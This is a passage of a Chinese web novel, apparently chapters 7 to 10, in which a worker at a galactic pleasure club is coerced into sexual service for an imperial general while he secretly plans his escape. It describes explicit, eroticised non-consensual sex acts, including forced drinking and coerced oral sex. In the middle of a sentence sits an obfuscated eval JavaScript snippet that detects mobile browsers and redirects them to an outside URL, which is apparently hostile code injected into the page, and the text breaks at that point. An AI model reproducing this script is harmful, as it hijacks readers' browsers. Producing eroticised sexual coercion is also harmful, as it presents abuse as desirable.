一张银河法钞的面额是一百银河币,这一叠值两千银河币, 顾承砚接过钱,只有薄薄一叠,皱眉“啧”了一声。 这是嫌钱太少,拿不出手呢。 于是弗兰赶忙又噗噗吐了一叠,这叠要厚上许多,目测有个一百来张。 顾承砚将法钞捋了捋,卷成筒状,瞧着直径有些宽了,但也不是不能接受,然而忖度片刻,又改变了主意,从里面抽出十来张,目测了下厚度适中,将这十几张法钞平铺叠放,两指顶着,俯身塞到了某处宝地。 和娇嫩的皮肉相比,纸钞未免太过粗糙,但潺流的涓液被堵了回去。 “喏,你想要的。”顾上将贴在耿诺耳边,恶劣地低语。 耿诺难耐地哼唧两声,没醒。 顾承砚直起身,从表情上看,显然愉悦了不少。 晨曦穿过窗帘,落在凌乱的床单和少年纤弱的身躯上,皮肤白嫩处照得愈发清透,斑驳处如同绽放的艳丽花朵。 衣冠楚楚的男人背光立在床边,清点几下剩余的钞票,然后随手一抛。 晨光的映照像是给这一幕开启了慢动作,钞票洋洋洒洒飘落在地上、床上,以及少年的身上,成为独特的点缀。 画面极其奢靡淫.欲。 顾承砚垂眸片刻,似乎并不留恋这幅美景,转身离开。 只是背过身,唇角勾起了个几不可见的弧度,转瞬即逝,连弗兰都觉得也许是错觉。 走到门口时,他淡淡地吩咐了弗兰一句: “把屋里温度调高点。” · 耿诺醒来时,刚过了中午。 按照他的身体状态,本不应该醒这么早。 他是被饿醒的。 想起床,却动不了,浑身像被拆装重组似的,拆装手法还极其低劣,每个零部件都无法正常运转,哪哪都难受。 耿诺缓了好半天才恢复些力气,艰难地撑起身,落在背上的钞票随之滑落,起身到一半,他突然僵住。 异物感太过鲜明,身体的不适再也无法忽略。 居然有东西在……什么东西?! 耿诺忍着酸痛伸手将东西取出来,等他看清楚,整个人都在颤抖。 居然是一叠银河法钞,已经皱得不成样了,还湿哒哒的。 怎么会湿哒哒呢? 这还用问?! 我一个Beta又不像Omega……那当然是他的……他的…… 耿诺他气得发抖,愤怒和委屈充斥在心头,身体的酸痛更像是把精神上的痛具像化了。他一点点摊平皱成一团的纸钞,湿润的眼眶眨了几次才得以看清面额,他环顾一圈,床上地上到处是同样面额的纸钞。 脑子里一个声音愤怒地咆哮:去你妈的谁要你的臭钱! 另一个声音恨铁不成钢地说:这是银河法钞,一张就是100银河币,1000卢克!床上地下这么多……这么多……总不能丢了屁股还丢了钱吧! 于是他抹着眼泪,顾不得身上黏腻,抽噎着依次捡起床上床下的银河法钞。 把钞票可能飘到的地方全部搜寻一遍,甚至还在床底爬了个来回,最后坐在地上哭着数钞票。 耿诺哭得好难过,一遍数132,一遍数128,数了好多遍才数清。 整整130张,共计一万三千银河币,按照合同上的薪资规则……按个屁规则!皮克斯恨不得他死,还遵照个屁的合同。 一万三千银河币,加上一些鸡零狗碎的钱,够父亲三次治疗。 耿诺把钱收好,进去洗澡,他甚至不敢看镜子里的自己,那些痕迹实在是触目惊心。洗了三遍还觉不够,但再洗久一些就要低血糖了,耿诺被蒸汽熏得晕晕乎乎的,随便裹了个袍子就出来了。 一出浴室,突然察觉到屋里有人。 是皮克斯。 耿诺警惕地看着他,皮克斯笑得一脸和善,拇指向后指了指,“我敲门了,你没听到。” 房门离得八丈远,能听见就有鬼了。耿诺懒得理他。 卧室焕然一新,床单换了新的,整洁的新衣服叠好放在床头,餐车上还有丰盛的员工餐,耿诺不安地皱起眉,敲门声没听到也就罢了,有人进来收拾屋子的动静居然也没听到,他开始担心自己刚刚收起来的钱,但又不想当着皮克斯的面去查看。 “放心, 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“知道吗?今天早上他离开的时候,是个人都能看出他心情很好。耿诺,你真是天才,你简直天生适合干这一行!” 这话也不知道是夸人还是骂人,耿诺气得嘴唇直哆嗦,但他脑子转得很快,见缝插针也要把握住对自己有利的情况。 如果莱特侯爵真是俱乐部的大主顾,那他的死和皮克斯疯狂讨好顾承砚绝对有着千丝万缕的关系。 不管背后有什么原因,能把莱特侯爵当众绞杀却没受到任何惩罚的顾承砚上将显然是个极佳的选择。 但前提是皮克斯能讨到对方的欢心。 耿诺强装镇定,开始皮克斯谈判,“你不用装蒜,昨天我为什么会闯进去你应该知道,而你一开始打得什么算盘我也清楚。” 皮克斯眉头一挑,有些意外,随后“啧”了声,骂道:“谁这么多嘴。”收起了刚才那副假惺惺的嘴脸,坐在另一张椅子上。 耿诺翘起腿,两腿交叠地坐着,牵动肌肉时隐隐有些不适,但他没有表现出来。 手随意搭在桌上,腰脊放松靠着椅背,浴袍有些偏大,松松垮垮地裹着身子,前襟领口大开,露出里面暧昧的皮肉,皮克斯眼神玩味地扫视一番,耿诺丝毫不在意,气势相当沉着。 “我如果得罪顾上将,充其量也就是一死,反正皮克斯老板也没打算让我活,不是吗?”耿诺轻声道。 被揭穿的皮克斯耸耸肩,做了个向下撇嘴的动作,表示他满不在乎。话锋一转,打趣道:“不过小耿兄弟,你还真有两把刷子,被你动过的巡逻机费了我的工程师不少功夫才修好。” 耿诺没理他,继续说:“如果尊贵的顾上将接连在你的俱乐部里被扫了两次兴,他会怎么看你、和你的狂鲨俱乐部呢?”他的语速很慢,表情也很淡,但就是这样的态度却让皮克斯瞬间沉了脸。 皮克斯盯着他,半晌阴笑一声:“你怎么就知道他被扫了兴呢,在裴斯曼帝国,上至皇帝下至街头卖报的小屁孩都知道,顾承砚上将残暴嗜血,摔碎服务生的脑袋见点血什么的,说不定会让他更兴奋。” “是吗?您确定吗?”耿诺轻描淡写地反问,伸出一根手指勾了勾浴袍,让领口开得更大些,充满暗示意味地说:“可我觉得不是呀。” 8. 第8章 “莱特侯爵已经死了,这又是帝国的顾承砚上将。您费了这么大力气讨好他,总不会只想让他多来光顾几次吧?” 皮克斯面对那些暧昧痕迹,已经无法再用玩味的眼神冒犯对方,他森然道:“你在威胁我?” 形势逆转了。耿诺想。 皮克斯当然可以不在意他的死活,但如果顾承砚感兴趣的话,他就要掂量掂量如何稳住耿诺。 他顺从的话,或许没什么帮助,但他故意使坏的话,倒是真的会影响他讨好顾上将。 这个事实让皮克斯很不爽,但凡顾上将看上的是别的服务生,接下来一切都会按照他的计划走。 耿诺学着他的样子耸耸肩,唇角勾起一个讥讽的弧度,“放宽心,也许我只是想寻求合作呢?当然您也可以不答应,毕竟,您和阮少爷有约在先嘛。” 皮克斯不动声色地打量起耿诺,心里也在衡量,阮如棠的舅舅苏芒是伯爵家的第一继承人,他当然得罪不起。但是和顾承砚上将比起来,阮少爷的那点小打小闹就根本不足为提了。 老侯爵死了,他留下一个大摊子亟需有人接手,而此刻鲜少涉足娱乐场所的顾上将主动前来,为得是什么,或许彼此之间也有一些心照不宣。 他怎么可能轻易放掉这个金大腿。 “你有什么条件?”皮克斯问。 耿诺伸出两根手指。 “一,顾上将给我的钱全部归我个人所有,此外这个月还要支付我两万银河币工资。” “二,按照之前的约定,一个月期满,我立刻走人,不得阻拦或对我下手。” 皮克斯听完立刻松了口气,但面上还是故作为难。 小星球的乡巴佬,没见过世面,还以为他能提出什么样的条件呢。 耿诺认真道:“我可以如你所愿地尽心服务顾上将,帮你尽早达成所愿,但同样,你也不能在背后搞我,否则就算拼了我这条命,也要激怒顾上将,拖上整个狂鲨做垫背的。” 皮克斯彻底放下心,却表现得十分焦急恐慌,连忙讨好安抚,“你瞧瞧,这话说的,之前那都是误会,都过去了,你放心,如今咱们有着共同的目标,就是比钻石还要稳固的同盟,我可不是糊涂人。这段时间你就在这边住下吧,有什么需要尽管开口,我绝无二话。” 他说得那叫一个情真意切,一把握住耿诺的双手,像是真心担忧他似的,“你也知道,顾上将性格残暴,不是个好相与的,为他提供服务,多多少少要委屈你一点,但是你放心,钱,我一分都不会少了你的,只要你让顾上将舒心,一月之期一到,就算顶着天大的压力我也会让你离开!” 听了这番保证,耿诺僵持的面容终于松懈下来,半信半疑问道:“你说话算话?” 皮克斯竖起三根手指,“我老皮如果说谎话,天打雷劈!” 耿诺抿了抿嘴,心说你丫真姓皮啊? 皮克斯目的达成,便不再多待,招呼耿诺吃好喝好,就离开了。 等他走了,耿诺都快饿得两眼发昏了,猛扒了几口饭,从怀里掏出一个终端,用叉子撬开,三下五除二将其肢解,取出其中最关键的芯片。 这是他从皮克斯身上顺下来的,刚刚声势浩大地卖了个蠢,就是为了让对方觉得他没有眼界,很好掌控,从而放松些警惕。 巡逻机事件之后,皮克斯肯定要加强巡视力度,他可不想时刻被那些守卫“特殊关照”。 耿诺把其他的零部件全部敲碎,冲进马桶李,再把钱分别丢在花瓶、床头缝、抽屉背板以及通风口里。 最重要的那块芯片能让他在很多地方畅行无阻,它很小,更容易藏,耿诺把它塞到了一个隐蔽之处。 一切都弄完,他才坐下来慢条斯理地把剩下的食物吃完,尽管已经凉透了。 吃完饭,耿诺叫了铃,没想到收拾东西的人没进来,进来的是皮克斯。 他气势汹汹地带着一大帮人冲进来,耿诺紧张地站起来,“皮老板还有什么事吗?” 皮克斯瞧他紧张的模样,冷哼一声,大手一挥,“搜!” “你们这是做什么!”耿诺慌张质问。 没有人回答他。 一群人浩浩荡荡地翻箱倒柜后,自然是一无所获,但是从各种犄角旮旯扒拉出不少钱票,每处十几二十张,凑在提起也有百十张。 这些钱票堆在耿诺面前,他气得发抖,像是被狠狠羞辱了一番,脸色青白交加,怒视着皮克斯,“皮老板,你说过的……” 皮克斯面上不显,心中也在惊讶,一进来瞧耿诺紧张的模样,断定是他刚才趁机摸走了自己的终端,没想到只撞见了这上不了台面的藏钱方式。 真是他不小心丢在别的地方了? 他瞬间换了个态度,变脸似的,和善地说:“抱歉,误会了,别紧张,只是刚刚有人跟我说这间套房里藏点危险物品,你和顾上将的安全都是我的重中之重,可不能马虎。” 挥挥手,其他人立刻把屋内收拾妥当,钱也工整地叠在一起,皮克斯接过来,规整好,交还给耿诺。 “我既然答应了,就不会拿你的小费。你数数,看少了没?” 耿诺一把夺过,忍了又忍,还是选择当面清点,皮克斯见状,眼底轻蔑嘲笑愈发不遮掩。 一群人声势浩大地来,又声势浩大地走,等到再次只剩下耿诺一个人的时候,太阳已经快要西斜了。 这算逃过一劫吗?耿诺有些疲惫,躺到床上却感觉回到昨天夜里。 宣软的床垫对他来说毫无舒适感可言,不仅无法解乏缓解酸痛,还会让他时刻幻视自己在船上摇摇晃晃。 耿诺愤愤下床,还好地上铺着厚厚的地毯,坐在地毯上,经过几番调整,终于摸索到了一个舒适的姿势,就这么趴在床边睡着了。 不知道睡了多久,耿诺总觉得有人在干扰他睡觉,在脸颊上拨了拨,鲜明的炽热触感瞬间把他吓醒。 猛然睁眼,耿诺发现自己被一个庞大的身躯笼罩,那人敞开腿坐在床边,刚好把他拢在两膝之间,什么东西此刻正亲密无间地戳着他的脸。 耿诺慌乱中抬起头,脸上还带着不明的黏腻感。 一道巨大的阴影打在他脸上,透过那道阴影的可怕本体,顾承砚似笑非笑地询问: “怎么不在床上睡?” 耿诺吓了一跳,条件反射地想要推开他,可他哪里推得动,自己反倒摔了个四仰八叉。 浴袍底下什么都没穿,耿诺顾不得疼,捂着屁股手忙脚乱地爬起来跪坐在地上,却不小心压住了浴袍,领口敞到了肩膀,他又仓促地把浴袍拽起来,无意识地舔了舔嘴唇,充满Alpha的雄性气息让他愣了一下。 对上顾承砚兴味的眼神才反应过来那是什么。 ……变态! 可惜耿诺敢怒不敢言,只能使劲用手背抹了抹嘴,扭头对着旁边“呸呸呸”。 上方传来一声低笑。 耿诺根本不敢抬头看他。 顾承砚突然站起身,耿诺吓得赶紧往后退,缩在墙根儿。 别看他在皮克斯面前大言不惭地说了那一通话,真对上顾承砚,他还是条件反射地直打哆嗦。 这其中还夹杂着一些不可名状的腰酸腿软。 顾承砚今天穿了身黑色西装,比昨天正式一点,很有精英范儿,把他肩宽腰窄腿长的身材凸显得淋漓尽致,全身上下到处都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13677856|144217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝不苟,完全是道貌岸然的衣冠禽兽。 耿诺被吓到了墙根儿,对方起身后却一个眼神也没分给他,径直走向浴室洗澡去了。 这让他觉得自己像个被戏弄的小丑。 耿诺贴着墙,咬牙切齿地咒骂,拿起纸巾疯狂擦拭脸颊和嘴唇。 他也想硬气一点,只是还没想个三分,眼前便立刻浮现顾承砚抓着袁冰清的头砸向茶几的画面。 顾承砚洗澡的空档,有服务生推着餐车进来,把晚餐精心布置好,随后匆忙退出去了。 屋内一片寂静,浴室的水声就显得格外清晰。 良久,浴室的水停了。 耿诺的心跳也要停了。 顾承砚裹着浴袍出来,耿诺还穿着那身浴袍,战战兢兢贴着墙边罚站似的,不敢看他,却时刻偷瞄他的一举一动。 不小心对视上,下一秒便立刻若无其事地撇开头,装透明人。 偏偏顾承砚和他作对似的,来回从他身前经过好几次,耿诺抓耳挠腮避开他视线,等他终于到桌边坐下才松口气。 狂鲨俱乐部给贵客们提供的餐食向来丰盛,鳌虾海蟹山珍海味应有尽有,上好的奎宁牛排每日清晨从遥远的伊泰莱星球空运而来;果蔬来自帝都最名贵的“一亩菜地”庄园,据说皇家特供的蔬菜水果都来自于这里;古老的罗曼尼红酒经过岁月的沉淀,一瓶就要几十万银河币,但在这里,仅仅是贵族们随意挥霍的饮料…… 耿诺下午刚吃过,现在不饿,但看到这些美食还是咽了咽口水。 有好多东西他见都没见过。 强迫自己移开视线,突然察觉到顾承砚淡淡地看了他一眼。 “……” 不需要深入解读,也能看出来这个眼神是示意他过去。 招狗似的。 ……狗都没他听话。 耿诺几乎是小跑着来到桌边立着。 有些拘谨。 顾承砚这会儿看起来挺和善,甚至问他要不要坐下来一起吃。 耿诺当然摇头。 顾承砚也没勉强,一抬手将人搂到腿上坐着,耿诺回过神时,几乎能感觉到自己的鼻息喷洒在顾上将的脸上,吓得他瞬间屏息。 下一秒,高脚杯抵在他唇边,顾承砚说:“那就陪我喝点。” 语气是不容置喙的强硬,耿诺双唇紧闭,条件反射想扭开,却更像要往顾承砚怀里钻似的。 或许正因如此,顾上将没有生气,只是把掌心贴在他的后颈,沉声道:“听话。” 耿诺抓着他的浴袍前襟,小声问:“不喝行不行,我陪您用餐。” 他怯生生的眼神十分惹人怜爱,顾承砚欣赏够了,脸上始终挂着淡淡的笑意,说出的话却十分无情:“晚了。” 高脚杯沿口撬开了他的唇,强硬地把酒灌了进去。 “唔……”耿诺撑着他的胸膛,却丝毫推不开,被迫喝下又苦又呛的酒,他以为昂贵的红酒至少能有点葡萄味,没想到那么难喝,脸都皱成一团了。 些许酒液从唇边溢出,顾承砚凑过去伸出舌头舔舐掉,随后强势地侵入耿诺口中,将残留的酒液尝了个遍。 良久,二人唇分,顾承砚颇为满意地评价:“好酒。” 耿诺抓着他的前襟轻喘。 顾承砚抚摸他的脸,问:“现在想吃了吗?” 耿诺看了眼桌上的美味佳肴,哪敢再说一个不字,红着眼眶点了点头。 他以为到此为止了,身后的男人却突然低低地笑了起来,胸膛闷闷地震动,回头,对上一双不怀好意的眼睛。 顾承砚用拇指摩挲耿诺湿润的嘴唇,面带微笑地否决:“不,你不想。” 9. 第9章 顾承砚手上用了些力气,按着耿诺把他压到桌下,跪在自己两腿之间,耿诺的鼻尖几乎贴着顾承砚的浴袍,头被死死压制住,丝毫无法动弹。 顾承砚抽开浴袍系带,耿诺脸颊嘴唇亲密无间地贴着他,一瞬间就让他兴奋了,低声诱哄道:“来,吃点别的。” “不……唔!” 耿诺闻不到Alpha的信息素,但他忽视不了近在咫尺的雄性气息,简直无法呼吸。他终于明白,顾承砚一旦开口,就是不达目的誓不罢休,根本不给他拒绝的机会,不想吃也得吃。 为了让自己少吃点苦头,耿诺尽力温顺下来,微微张开嘴,如他所愿。 偏偏对方还要得寸进尺。 上方传来刀叉相碰的声音,顾承砚在切牛排,他慢条斯理地叉起一块牛肉,不急着吃进嘴里,而是摸了摸耿诺的脑袋,对他说:“如果在我用完餐之前,你还没有吃好的话,我就要再喂你些酒了。” 那一刹那,耿诺真想把嘴里的东西吐出来,向他大声宣告:给我酒吧!我给你表演对瓶吹还不行吗! 结果下一秒,顾承砚用鞋尖踢了踢他的屁股,意味深长地补充:“用这里。” 耿诺:“……” 他卖力地认命,认命地卖力。 也不知道是他技术太差还是顾上将太持久,居然真的到顾承砚放下餐具前一秒才结束。 耿诺脸颊红通通的,嘴巴都酸得合不拢了。 “技术真差。” 他被拽着胳膊提了起来,重新坐回顾承砚腿上,耿诺眼眶是红的,嘴唇也是红的,红得晶莹剔透,呼吸尚未平缓,嘴里仍有残留,吐也不是咽也不是,抿着嘴,泪眼汪汪地瞧着顾承砚,祈祷他早点放过自己,让他去漱口。 顾上将情绪一如往常,连呼吸都没有丝毫波动,钳着他的下巴,目光一寸一寸扫荡,看不出是否满意耿诺的“服务”,半晌,意味不明地说了句:“没吃干净。” 耿诺一瞬间后脊发凉,不知道又要怎样折腾他。 还好,顾承砚只是端过桌上的汤盅,舀一匙递到他嘴边,耿诺看了看奶白色的汤,又看了看顾承砚,对方很有耐心地等着他。 耿诺垂了眼眸,睫毛颤了颤,张开嘴小口啜饮。 甜丝丝的奶油蘑菇汤,里面有些他尝不出来的菌类颗粒,喝完一口,耿诺无意识地咂咂嘴,舔了舔嘴唇,有点意犹未尽的意思。于是顾承砚就这么一勺一勺喂他,直到汤盅见底。 汤匙放进盘中的声响让这顿饭告一段落,耿诺这才反应过来,合着是让他这么“吃干净”的。 可不是嘛!通通都吃干净了、咽下去了!嘴里一丝腥气残余都不剩了!只有奶油蘑菇汤的味道了! 抿着嘴,眼中满是怨怼,但敢怒不敢言,趁对方察觉前迅速做好了表情管理。 窝囊地当作无事发生。 顾承砚在他腰上轻拍两下,“去漱口吧。” 耿诺从他腿上跳下来,飞快跑走了。 等他从洗手间出来,桌上的残羹已经被收下去了,顾承砚坐在落地窗前的躺椅上,耿诺见他背对着自己,巴不得被当作透明人,轻手轻脚地往客厅走。 顾承砚像是背后长了眼睛似的,头也不回地说了句:“过来。” 今晚云层较厚,月亮被严丝合缝地遮住了,半点透不到地面。没有月亮的夜晚,帝都的上空会点亮一颗人造月亮,别无二致的清白月辉洒下来,落在窗前的男人身上。 顾承砚浴袍系得规整,这让耿诺稍稍放了点心。 躺椅只够一人坐着,顾上将拍拍自己的大腿,示意耿诺坐上来。 耿诺犹豫了一下。他有点害怕。 但又不敢让对方久等,思来想去,耿诺直接装傻,跪在顾承砚脚边,像个顺从的宠物,两手搭在他大腿上,下巴垫在上面。他小心翼翼地看向顾上将,对方只是看了他一眼,没什么反应便移开了视线。 耿诺松口气。 用来招待顾上将的VIP包厢在俱乐部最顶层,从这个高度俯瞰,常明的花园绚丽多彩,灯光没有遗漏任何一个角落。远处树木没有从地面上看那么高大,但仍看不到树林的尽头。巡逻机在尽职尽责地绕着建筑巡视。 倏地,树林的尽头处升起一道烟花。 主城今晚也许有什么庆典,烟花逐渐此起彼伏地盛开。 耿诺动了动,直起身往远处瞧。距离太过遥远,从这儿看,几乎只剩下指甲盖大小,像水花一样微弱地绽放,声音就更不用说了,根本听不到。尽管如此,耿诺还是看得目不转睛。 片刻后,烟花散尽,一切归于平静。 耿诺感知到一道深沉的视线落在他身上,回头看向顾承砚,顾承砚也在看他,两人相视无言。须臾,耿诺继续贴在顾承砚腿上。 这一晚,寂静无言。 顾承砚久违地感受到了些许令人惬意的安宁。 耿诺测算出了夜晚巡逻机最新轮换频率和树林的大致深度。 · 从这天起,耿诺正式成为顾上将的专属服务生,不知道身为帝国上将的顾承砚平日公务是否繁忙,反正耿诺看他最近挺闲的,几乎在俱乐部住下了,私人衣物都往衣柜里塞了几件。 听说他刚出差回来,现在大概在休假,狂鲨盛情款待,提供顶级服务,各种穷奢极欲的娱乐方式耿诺闻所未闻,见所未见,原来上流社会玩得这么花。 另外几个年轻Alpha耿诺也见了个脸熟,不过印象中当时一起来的有四个人,现在只有三个了。 据说都是他的下属,名字也很有意思,分别叫卫海,卫路,卫空。 休假还要出来陪上司,真惨。 但也没他惨。 耿诺算过,顾承砚晚上真正睡觉的时间很少,觉少又浅眠,也许是常见行军征战的影响。耿诺大多时候都是中途昏睡过去,有一次半夜起来上厕所,很小的动静依然把顾上将吵醒了,当时他警惕又狠厉的眼神直接把耿诺吓得从床上摔下去,后半夜也没敢上床,跑去沙发上窝了一晚。 没想到第二天醒来时还是在床上。 不过到了晚上,似乎是怕他半夜再醒来吵到自己,顾上将毫不留情保证他一觉睡到天亮。 耿诺:“……” 每当新的一天到来之际,顾承砚总能精神抖擞地准时起床,什么疲惫,酸痛,都是耿诺自己的,他简直要怀疑人生了。 此刻,顾承砚站在衣柜前穿衣服,耿诺怨念地坐在地上,顶着一头鸡窝,身上松松垮垮地罩着被子。 别问他为什么在地上。 他只是想下床。 他也不知道怎么就坐地上了。 还把被子带了下来。 顾承砚听到动静回头看了一眼,看笑话般嗤笑一声。 耿诺敢怒不敢言,毕竟刚刚顾上将还很贴心地叫他起来吃早餐。 顾承砚腰背和大腿的肌肉精健有力,而他被子下每一处与原始皮肤有色差的地方都在隐隐作痛。耿诺低头扯开被子,看看自己肌无力般的细胳膊细腿,还有浑然一体的腹肌,失魂落魄。 他知道Alpha和Beta体质差距很大,但是为什么这么大? 真不公平。昨晚他比顾承砚还多睡了会儿呢…… “……下等星球的乡巴佬哪有吃早餐的习惯,哼,吃早餐,真是文雅,我们泡点豆子蘸着馍馍就对付过去了,还早餐……呜我想睡觉!”耿诺趴在床沿唧唧歪歪。 顾承砚走过来把他拎起来扔床上,“嘟囔什么?不是你自己闹着要跟我出去的吗?” 是啊是啊,顾承砚去别处消遣的时候不带着他,耿诺就连这间屋子都出不去,他要收集情报,研究逃跑路线,不能一直被关在这里。昨晚耿诺强撑着没有晕过去,在顾承砚尽兴的时候小声请求对方把自己带在身 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天呐这车真宽敞、真舒适、真好坐,看呐天真蓝、草真绿、风可真清爽……耿诺陶醉地想,如果能躺着就更好了。 知足常乐。 耿诺安慰自己,能一边休息一边查探高尔夫球场边缘地形已经很好了。 结果他屁股还没坐热,顾承砚突然说,不打了,要换场地打台球。 耿诺缓慢回头,眼中充斥着控诉和不可置信。 怎么能这样…… 远处的皮克斯又在朝他使眼色,耿诺只能忍气吞声地从车上爬下来,胳膊腿打颤地跟过去。 哦,顾上将还说—— “也没多远,走过去吧。” 耿诺简直想给他跪下。 饶了我吧。 顾承砚走两步,总觉得身边少了点什么,停下脚步回头,就看到耿诺有气无力的一脸死样。 他一停,所有人都跟着停了脚步,齐齐看向耿诺。 耿诺…… 耿诺心说要杀要剐随你们便吧反正我要累死了。 “走这么慢,是让我等你?”顾承砚淡淡地问一句,听不出喜怒,耿诺瞬间皮紧了,飞快跑到他跟前,讨好地捏着他袖口。 顾承砚仍驻足不动,似乎没打算就这么放过他,众目睽睽之下,耿诺眼神惴惴,想要牵着对方的手,却又不敢。 皮克斯赶忙上前打圆场,“顾上将,这小子是新来的,不懂规矩,我们这儿有得是听话的,要不我再给您重新挑几个?” 耿诺瞬间就怒了。 这厮看上去是在帮他,实际上是想把他踢出去,把顾承砚身边换成自己人。这样一来,他也没了利用价值,之前用来拖时间的约定想不作数还不是一句话的事? 当他是傻子吗?! 再怎么说,顾上将没弄死他,还把他带在身边,他就是安全的,现在研究出逃路线的宝贵时间全靠有对方当掩护。一旦顾承砚在他做好准备之前转向别人,他就只能任由皮克斯搓圆捏扁了。 为了阻止顾承砚开口,耿诺也顾不得别的了,一把抱住他的胳膊,昂起脸,小声讨饶:“腰疼,没力气,不是故意走慢的。” 顾上将居高临下地瞥了耿诺一眼,从他的高度往下看,耿诺本就比他矮一头的个子显得更小了,上半身整个贴在他胳膊上,隔着衣袖也能感受到他身体的温度,手甚至直接贴在他裸露的腹部。 穿上衣服的可怜相比不穿衣服还多了几分诱人。 顾承砚收回视线,抬手把胳膊抽了回来。 耿诺心都凉了,指尖追随着还想拽他衣袖。 下一秒,顾承砚的手稳稳地托住了他的腰。 “算了,”他语气中似乎有几分嫌弃,“这个也能凑合。” 耿诺眼含热泪地在心里骂了句mmp。 10. 第10章 从高尔夫球场绕回主楼,顾承砚的胳膊始终有力地钳着耿诺的腰,耿诺还伸着脖子想观察守卫人数和飞行器飞行方向,没察觉走起路来都轻松不少。 台球室在三楼,从窗户往外看,这里大概是在酒窖的相反方向,耿诺看到远处有一个矮房,大概只有一层,被树木和绿植遮掩着,只能看到很少的部分墙壁,能注意到还是因为屋顶徐徐袅袅升着白烟。 耿诺有些好奇那边是什么地方。 只可惜角度刁钻,从这个窗口即使他踮起脚贴着窗户也看不到全貌。 突然,一个服务生走过来拉下了百叶,耿诺没注意,吓了一跳,那人冲他笑笑,往里指了指,小声道:“光线有点影响客人们。” 耿诺“哦”了声,过会儿突然想到,现在是上午,这扇窗户在背阴面,根本没有太阳,怎么会影响客人。 “习惯这里的工作吗?” 耿诺回神,一个黑头发蓝眼睛的男人不知道什么时候站到了他身边。他记得这人叫卫路,是顾承砚的下属之一,说话时喜欢深深地注视着对方,好像能把人看透。 让人很不舒服。 屋内突然传来一阵爽朗的笑声,两人扭头看去,皮克斯开球,一杆下去7号球进了洞,还没来及欢呼,就见白球也跟着进了洞。 皮克斯捶胸顿足之余不忘拍马屁,“顾上将特地让给我的机会,可惜啦!您看,我就说合该您来开球吧,我还是给您重新摆球吧!” 须臾传来顾上将淡漠的声音:“我需要你让球?”朝一旁招手:“自由球。”旁边人把白球递过来,他选了个12号作为目标球。 耿诺注意到这个12号球的花色跟刚才的7号不太一样。 “这是黑八玩法,双方各自按1-7和9-15分配目标球,皮老板是1-7,顾上将是9-15,谁的球先全部进洞,谁就能先击打黑8,先让黑8进洞者为胜。刚才皮老板先进球,按理说能继续击球,但他把白球也送进洞了,算犯规,轮到顾上将自由球权,可以任意放置白球位置。”卫路靠着窗,胳膊肘向后搭在窗台上,侧头低声向耿诺解释。 原来如此。 耿诺说:“我知道。” “……”对方挑挑眉,做了个“好吧”的表情。 皮克斯和顾承砚你来我往地打了几个回合,耿诺和卫路并肩靠着墙,客人们在闲聊,服务生们则竭尽全力地欢呼捧场。 “听说你刚来不久,在这里工作感觉怎么样?”卫路贴近耿诺小声问。 耿诺看着他,不明所以。 能怎么样?你家上将什么样你不知道吗? 或许是他表情太过明显,卫路居然读出了其中的含义,忍不住笑了声,“的确,上将不是个容易相处的人。” “作为帝国的子民,想必你也听到过不少传言,从来没有Omega或者Beta能靠近他。”卫路冲他眨眨眼,“我从未见过他对谁这么特殊,你是第一个。” 耿诺更加一头雾水了。 是想说顾承砚第一次日Beta? 怎么着,那还委屈他了? 我还是第一次被Alpha日呢!我才委屈好不好。 卫路靠着窗户,追忆起了过往。“上将的十五岁带着我们从黑市走出来,一路摸爬滚打走到今天,得遇陛下赏识之后,长年累月都在南征北伐。这些年甚至很少有停下来喘口气的时候。” “我记得很清楚,当初平定荷黎叛乱后,我们立刻马不停蹄跃迁到银河边界,抵御菲尔德遗民的侵袭,转头又跟安哥拉鏖战半年,一点休息时间都没有。前线永远是最危险的地方,科技战争中一切都很难预料,很可能下一秒就尸骨无存,或者变成太空垃圾永远游荡在真空中。” “但上将永远是冲在最前面的,不顾生死。” 耿诺想了想,捧场道:“好厉害哦。” 卫路哽了一下。 可能是他表情凝固得太过明显,耿诺又随即补充道:“那在他麾下的你也很厉害哦。” 语气十分棒读。 卫路很快收敛了情绪,防止被耿诺带跑题,继续讲述。 “可以说,比起美色,杀戮更能让上将兴奋。” 耿诺敷衍地点点头,看出来了。 ……不对,没看出来。 他不动声色地扶了把腰,觉得这两者不相上下。 “上将一路走来不容易,上层阶级很多贵族看他不顺眼,都想暗中使绊子。”卫路笑笑,“我没别的意思,就是有些感慨。” “你是一个特别的存在,耿诺。”他又强调了一遍“特别”,随后充满暗示地说:“如果能一直见到你就好了。” 这人到底在说什么? 耿诺莫名其妙地看了他一眼。 卫路最后那句话的意思是说希望耿诺能一直陪在上将身边,前面略微夸张地向他介绍上将之前的经历,也是想触动他内心的柔软,更是给他一个“我们愿意接纳你为自己人”的信号。 如果耿诺是个聪明人,就会明白这是一场博弈,接下来就会通过一系列试探挖出彼此的真正目的,或者看有没有背弃原主达成合作的可能。 如果耿诺是个蠢蛋,那就会从刚才的话中品出一种自己是独一无二、让上将心动的存在,不管是为了爱情还是今后的荣华富贵,思量再三之后大概率都会投入到他们的阵营。 倘若是前者,威逼加上利诱足矣,和聪明人打交道,接下来的行动说不定会事半功倍。 倘若是后者,那就更简单了。不需要多说什么多做什么,这人会主动为他们所用,甚至在必要时还可以成为一个关键炮灰。 但是很可惜,耿诺介于两者之间,他是一个聪明的笨蛋,且理解力异于常人。 如果是直白一点的话,他可能很好理解,或者用从那些年扒拉出的废品书里掌握的至理名言来套公式。 就是那种“上流社会面对xx情况会这样应对……”的鸡汤励志成功学。 如果弯弯绕绕说得太隐晦听不懂,耿诺就会思维发散产生一套自己的理解。 就比如此刻,他就隐隐有一个不太好的猜测。 “以后我们会经常相处的。”卫路友善地说。 耿诺僵硬地扭过头,头脑在风暴。 皮克斯还在热火朝天地调节气氛,但大多时候都是他自己在说话,顾承砚的下属倒是会接几句,他本人搭不搭话就全看心情了。 直到皮克斯试探地提起莱特侯爵,顾承砚才像是有兴趣似的掀了掀眼皮。 